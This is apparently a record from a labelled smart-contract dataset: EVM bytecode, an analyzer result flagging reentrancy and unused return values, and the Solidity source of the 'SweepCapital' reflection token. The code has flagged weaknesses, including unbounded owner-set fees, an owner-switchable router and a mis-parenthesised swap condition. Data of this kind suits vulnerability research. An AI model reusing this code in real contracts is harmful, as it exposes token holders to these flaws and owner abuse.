64647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7c9eb8cb9240b1e675f76775cd896db7384c68809041668da5a9ab03b7fa29a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,221 |
0x5FDaA123bf828d0D6A1C4Ae62a95A6b3bade57C6
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
pragma solidity ^0.8.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
// ERC20 token standard interface
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IUniswapFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Main token Contract
contract SweepCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
// all private variables and functions are only for contract use
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10 * 1e7 * 1e9; // 100 Million total supply
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public maxHodingAmount = 2000000000000001; //2% of 100 Million
string private _name = "Sweep Capital"; // token name
string private _symbol = "SWEEP"; // token ticker
uint8 private _decimals = 9; // token decimals
IUniswapRouter public dexRouter; // Dex router address
address public dexPair; // LP token address
mapping(address => bool) private _isUniswapPair;
address payable public teamWallet; //team wallet
bool public reflectionFees = true; // should be false to charge fee
// Normal sell tax fee
uint256 public _holderRedistributionFee = 40; // 4% will be distributed among holder as token divideneds
uint256 public _teamWalletFee = 60; // 6% will be added to the team pool
// for smart contract use
uint256 private _currentRedistributionFee;
uint256 private _currentTeamWalletFee;
//for buy back
uint256 private _numOfTokensToExchangeForTeam = 100*10**9;
bool private inSwap;
bool public swapEnabled = true;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
// constructor for initializing the contract
constructor( ) {
_rOwned[owner()] = _rTotal;
teamWallet = payable(0x030f38B50F11E3B580c952792904F0907b5702b6);
IUniswapRouter _dexRouter = IUniswapRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a Dex pair for this new token
dexPair = IUniswapFactory(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
// token standards by Blockchain
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address _account)
public
view
override
returns (uint256)
{
return tokenFromReflection(_rOwned[_account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// public view able functions
// to check wether the address is excluded from fee or not
function isExcludedFromFee(address _account) public view returns (bool) {
return _isExcludedFromFee[_account];
}
// to check how much tokens get redistributed among holders till now
function totalHolderDistribution() public view returns (uint256) {
return _tFeeTotal;
}
// For manual distribution to the holders
function deliver(uint256 tAmount) public {
address sender = _msgSender();
uint256 rAmount = tAmount.mul(_getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"ERC20: Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
// internal functions for contract use
function totalFeePerTx(uint256 tAmount) internal view returns (uint256) {
uint256 percentage = tAmount
.mul(
_currentRedistributionFee
.add(_currentTeamWalletFee)
)
.div(1e3);
return percentage;
}
function _getRate() private view returns (uint256) {
return _rTotal.div(_tTotal);
}
function removeAllFee() private {
_currentRedistributionFee = 0;
_currentTeamWalletFee = 0;
}
function setTaxationFee() private {
_currentRedistributionFee = _holderRedistributionFee;
_currentTeamWalletFee = _teamWalletFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// base function to transafer tokens
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > maxHodingAmount) {
contractTokenBalance = maxHodingAmount;
}
bool overMinTokenBalance = contractTokenBalance >_numOfTokensToExchangeForTeam;
if (
!inSwap &&
swapEnabled &&
overMinTokenBalance &&
from != dexPair || _isUniswapPair[from]
)
{
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = false;
// take fee only on swaps
if (
(from == dexPair ||
to == dexPair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
if(!(from == owner() || to == owner())){
//check balance for other not the dex.
if(to!=dexPair && !_isUniswapPair[to] && !_isExcludedFromFee[to]){
require(amount + balanceOf(to) < maxHodingAmount, "ERC20:Wallet Cannot hold more than 2% of total supply.");
}
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if((recipient == dexPair || sender == dexPair ) && takeFee ){
setTaxationFee();
}
else{
removeAllFee();
}
_transferStandard(sender, recipient, amount);
}
// if both sender and receiver are not excluded from reward
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount.sub(totalFeePerTx(tAmount));
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(
totalFeePerTx(tAmount).mul(currentRate)
);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeamWalletFee(tAmount, currentRate);
_reflectFee(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
// take fees for teamWallet
function _takeTeamWalletFee(
uint256 tAmount,
uint256 currentRate
) internal {
uint256 tFee = tAmount.mul(_currentTeamWalletFee).div(1e3);
uint256 rFee = tFee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rFee);
}
// for automatic redistribution among all holders on each tx
function _reflectFee(uint256 tAmount) private {
uint256 tFee = tAmount.mul(_currentRedistributionFee).div(1e3);
uint256 rFee = tFee.mul(_getRate());
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
// make the swap
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
(bool os, ) = payable(teamWallet).call{value: amount}("");
require(os);
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == dexPair) return true;
return _isUniswapPair[_pair];
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
// owner can change router and pair address
function setRoute(IUniswapRouter _router, address _pair) external onlyOwner {
dexRouter = _router;
dexPair = _pair;
}
//input 10 for 1 percent
function setRedistributionFee(uint256 _fee) external onlyOwner {
_holderRedistributionFee = _fee;
}
//input 10 for 1 percent
function setTeamWalletFee(uint256 _teamFee) external onlyOwner {
_teamWalletFee = _teamFee;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function flipSwapEnable() external onlyOwner{
if(swapEnabled)
swapEnabled = false;
else
swapEnabled = true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x6080604052600436106102085760003560e01c80636ddd171311610118578063a6931ed7116100a0578063ea2f0b371161006f578063ea2f0b371461060c578063f17bd9871461062c578063f242ab411461064c578063f2fde38b1461066c578063fcf0c9c61461068c57600080fd5b8063a6931ed714610566578063a7f404e214610586578063a9059cbb146105a6578063dd62ed3e146105c657600080fd5b80638da5cb5b116100e75780638da5cb5b146104d357806395d89b41146104f15780639cece12e14610506578063a15224ff14610526578063a457c2d71461054657600080fd5b80636ddd17131461046a57806370a0823114610489578063715018a6146104a95780637ffd7fad146104be57600080fd5b8063313ce5671161019b57806350a64fcd1161016a57806350a64fcd146103d05780635342acb4146103e5578063599270441461041e5780635f42ef2a1461043e578063617c98e21461045457600080fd5b8063313ce5671461034e57806339509351146103705780633bd5d17314610390578063437823ec146103b057600080fd5b806318160ddd116101d757806318160ddd146102ce5780631d714470146102ed57806323b872dd1461030e5780632d8381191461032e57600080fd5b80630505e94d1461021457806306fdde03146102365780630758d92414610261578063095ea7b31461029e57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061023461022f366004611876565b6106a2565b005b34801561024257600080fd5b5061024b61070d565b60405161025891906118af565b60405180910390f35b34801561026d57600080fd5b50600b546102869061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610258565b3480156102aa57600080fd5b506102be6102b9366004611904565b61079f565b6040519015158152602001610258565b3480156102da57600080fd5b506005545b604051908152602001610258565b3480156102f957600080fd5b50600e546102be90600160a01b900460ff1681565b34801561031a57600080fd5b506102be610329366004611930565b6107b6565b34801561033a57600080fd5b506102df610349366004611971565b61081f565b34801561035a57600080fd5b50600b5460405160ff9091168152602001610258565b34801561037c57600080fd5b506102be61038b366004611904565b6108aa565b34801561039c57600080fd5b506102346103ab366004611971565b6108e0565b3480156103bc57600080fd5b506102346103cb36600461198a565b610959565b3480156103dc57600080fd5b506007546102df565b3480156103f157600080fd5b506102be61040036600461198a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561042a57600080fd5b50600e54610286906001600160a01b031681565b34801561044a57600080fd5b506102df600f5481565b34801561046057600080fd5b506102df60085481565b34801561047657600080fd5b506014546102be90610100900460ff1681565b34801561049557600080fd5b506102df6104a436600461198a565b6109a7565b3480156104b557600080fd5b506102346109c9565b3480156104ca57600080fd5b506102346109ff565b3480156104df57600080fd5b506000546001600160a01b0316610286565b3480156104fd57600080fd5b5061024b610a57565b34801561051257600080fd5b506102be61052136600461198a565b610a66565b34801561053257600080fd5b50610234610541366004611971565b610aa6565b34801561055257600080fd5b506102be610561366004611904565b610ad5565b34801561057257600080fd5b5061023461058136600461198a565b610b24565b34801561059257600080fd5b506102346105a136600461198a565b610b6f565b3480156105b257600080fd5b506102be6105c1366004611904565b610bbd565b3480156105d257600080fd5b506102df6105e1366004611876565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061857600080fd5b5061023461062736600461198a565b610bca565b34801561063857600080fd5b50610234610647366004611971565b610c15565b34801561065857600080fd5b50600c54610286906001600160a01b031681565b34801561067857600080fd5b5061023461068736600461198a565b610c44565b34801561069857600080fd5b506102df60105481565b6000546001600160a01b031633146106d55760405162461bcd60e51b81526004016106cc906119a7565b60405180910390fd5b600b8054610100600160a81b0319166101006001600160a01b0394851602179055600c80546001600160a01b03191691909216179055565b60606009805461071c906119dc565b80601f0160208091040260200160405190810160405280929190818152602001828054610748906119dc565b80156107955780601f1061076a57610100808354040283529160200191610795565b820191906000526020600020905b81548152906001019060200180831161077857829003601f168201915b5050505050905090565b60006107ac338484610cdf565b5060015b92915050565b60006107c3848484610e03565b610815843361081085604051806060016040528060288152602001611b42602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111bc565b610cdf565b5060019392505050565b600060065482111561088d5760405162461bcd60e51b815260206004820152603160248201527f45524332303a20416d6f756e74206d757374206265206c657373207468616e20604482015270746f74616c207265666c656374696f6e7360781b60648201526084016106cc565b60006108976111f6565b90506108a38382611214565b9392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916107ac9185906108109086611256565b3360006108f56108ee6111f6565b84906112b5565b6001600160a01b03831660009081526001602052604090205490915061091b9082611334565b6001600160a01b0383166000908152600160205260409020556006546109419082611334565b6006556007546109519084611256565b600755505050565b6000546001600160a01b031633146109835760405162461bcd60e51b81526004016106cc906119a7565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6001600160a01b0381166000908152600160205260408120546107b09061081f565b6000546001600160a01b031633146109f35760405162461bcd60e51b81526004016106cc906119a7565b6109fd6000611376565b565b6000546001600160a01b03163314610a295760405162461bcd60e51b81526004016106cc906119a7565b601454610100900460ff1615610a46576014805461ff0019169055565b6014805461ff001916610100179055565b6060600a805461071c906119dc565b600c546000906001600160a01b0383811691161415610a8757506001919050565b506001600160a01b03166000908152600d602052604090205460ff1690565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016106cc906119a7565b600f55565b60006107ac338461081085604051806060016040528060258152602001611b6a602591393360009081526003602090815260408083206001600160a01b038d16845290915290205491906111bc565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b81526004016106cc906119a7565b6001600160a01b03166000908152600d60205260409020805460ff19169055565b6000546001600160a01b03163314610b995760405162461bcd60e51b81526004016106cc906119a7565b6001600160a01b03166000908152600d60205260409020805460ff19166001179055565b60006107ac338484610e03565b6000546001600160a01b03163314610bf45760405162461bcd60e51b81526004016106cc906119a7565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b81526004016106cc906119a7565b601055565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016106cc906119a7565b6001600160a01b038116610cd35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106cc565b610cdc81611376565b50565b6001600160a01b038316610d415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106cc565b6001600160a01b038216610da25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106cc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106cc565b6001600160a01b038216610ec95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106cc565b60008111610f325760405162461bcd60e51b815260206004820152603060248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016106cc565b6000610f3d306109a7565b9050600854811115610f4e57506008545b6013546014549082119060ff16158015610f6f5750601454610100900460ff165b8015610f785750805b8015610f925750600c546001600160a01b03868116911614155b80610fb557506001600160a01b0385166000908152600d602052604090205460ff165b15610fd557610fc3826113c6565b478015610fd357610fd34761155a565b505b600c546000906001600160a01b03878116911614806110015750600c546001600160a01b038681169116145b8061102457506001600160a01b0385166000908152600d602052604090205460ff165b8061104757506001600160a01b0386166000908152600d602052604090205460ff165b801561108f57506001600160a01b03861660009081526004602052604090205460ff168061108d57506001600160a01b03851660009081526004602052604090205460ff165b155b15611098575060015b6000546001600160a01b03878116911614806110c157506000546001600160a01b038681169116145b6111a857600c546001600160a01b038681169116148015906110fc57506001600160a01b0385166000908152600d602052604090205460ff16155b801561112157506001600160a01b03851660009081526004602052604090205460ff16155b156111a857600854611132866109a7565b61113c9086611a2d565b106111a85760405162461bcd60e51b815260206004820152603660248201527f45524332303a57616c6c65742043616e6e6f7420686f6c64206d6f726520746860448201527530b71019129037b3103a37ba30b61039bab838363c9760511b60648201526084016106cc565b6111b4868686846115be565b505050505050565b600081848411156111e05760405162461bcd60e51b81526004016106cc91906118af565b5060006111ed8486611a45565b95945050505050565b600061120f60055460065461121490919063ffffffff16565b905090565b60006108a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061162b565b6000806112638385611a2d565b9050838110156108a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106cc565b6000826112c4575060006107b0565b60006112d08385611a5c565b9050826112dd8583611a7b565b146108a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106cc565b60006108a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6014805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140857611408611a9d565b60200260200101906001600160a01b031690816001600160a01b031681525050600b60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561147b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149f9190611ab3565b816001815181106114b2576114b2611a9d565b6001600160a01b039283166020918202929092010152600b546114dd91309161010090041684610cdf565b600b5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061151a908590600090869030904290600401611ad0565b600060405180830381600087803b15801561153457600080fd5b505af1158015611548573d6000803e3d6000fd5b50506014805460ff1916905550505050565b600e546040516000916001600160a01b03169083908381818185875af1925050503d80600081146115a7576040519150601f19603f3d011682016040523d82523d6000602084013e6115ac565b606091505b50509050806115ba57600080fd5b5050565b600c546001600160a01b03848116911614806115e75750600c546001600160a01b038581169116145b80156115f05750805b1561160b57611606600f54601155601054601255565b61161a565b61161a60006011819055601255565b611625848484611659565b50505050565b6000818361164c5760405162461bcd60e51b81526004016106cc91906118af565b5060006111ed8486611a7b565b60006116636111f6565b9050600061167a61167384611780565b8490611334565b9050600061168884846112b5565b905060006116a96116a28561169c88611780565b906112b5565b8390611334565b6001600160a01b0388166000908152600160205260409020549091506116cf9083611334565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546116fe9082611256565b6001600160a01b03871660009081526001602052604090205561172185856117b0565b61172a8561180e565b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161176f91815260200190565b60405180910390a350505050505050565b6000806108a36103e86117aa6117a360125460115461125690919063ffffffff16565b86906112b5565b90611214565b60006117cd6103e86117aa601254866112b590919063ffffffff16565b905060006117db82846112b5565b30600090815260016020